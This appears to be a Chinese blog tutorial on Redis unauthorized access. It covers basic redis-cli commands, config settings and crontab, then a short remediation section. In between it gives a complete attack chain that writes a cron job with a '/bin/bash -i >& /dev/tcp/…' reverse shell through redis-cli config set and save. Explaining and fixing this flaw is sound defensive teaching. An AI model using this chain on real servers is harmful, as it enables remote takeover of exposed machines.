关于Redis未授权访问需要了解的一些基础
连接: redis-cli -h host -p port -n db
需要知道的:
①Redis 基本操作,信息以键值对应的关系储存
set 写入数据
get 查看数据
keys* 查看所有键值
select db 相当于关系型数据库中的多个库,选择其中之一(Redis中的DB是相互独立存在的,所以可以出现重复的key)
FLUSHALL 清空数据
10.211.55.8:6379> set test 'aaaaaaa'
OK
10.211.55.8:6379> set test1 'bbbbbbb'
OK
10.211.55.8:6379> set test2 'cccccc'
OK
10.211.55.8:6379> get test
"aaaaaaa"
10.211.55.8:6379> keys *
1) "test"
2) "test1"
3) "test2"
10.211.55.8:6379> select 1
OK
10.211.55.8:6379[1]> keys *
(empty list or set)
10.211.55.8:6379[1]> select 0
OK
10.211.55.8:6379> keys *
1) "test"
2) "test1"
3) "test2"
10.211.55.8:6379> FLUSHALL
OK
10.211.55.8:6379> keys *
(empty list or set)
10.211.55.8:6379>
②config 修改配置
dir,指定的是redis的“工作路径”,之后生成的RDB和AOF文件都会存储在这里。
dbfilename,RDB文件名,默认为“dump.rdb”
appendonly,是否开启AOF
appendfilename,AOF文件名,默认为“appendonly.aof”
appendfsync,AOF备份方式:always、everysec、no
③cron->计划任务
crontab是linux下的计划任务. 例如:每分钟/每小时/每天/每月/每年执行某个固定的任务
crontab -e 这种方式写计划任务,或者通过编辑/var/spool/cron/里的文件写计划任务
格式 * commond
例如:/1 * echo "test" >> /tmp/1.txt #每分钟向tmp/1.txt 里写入字符串test
了解这些之后.就可以看懂下面的了.
利用redis未授权访问反弹shell
echo -e "nn/1 * /bin/bash -i >& /dev/tcp/本机ip/12345 0>&1nn"|redis-cli -h ip -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
6631342643607840314.png
修复
在redis.conf中添加
禁止敏感操作
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command EVAL ""
设置密码
requirepass mypassword
禁止对外开放
bind 127.0.0.1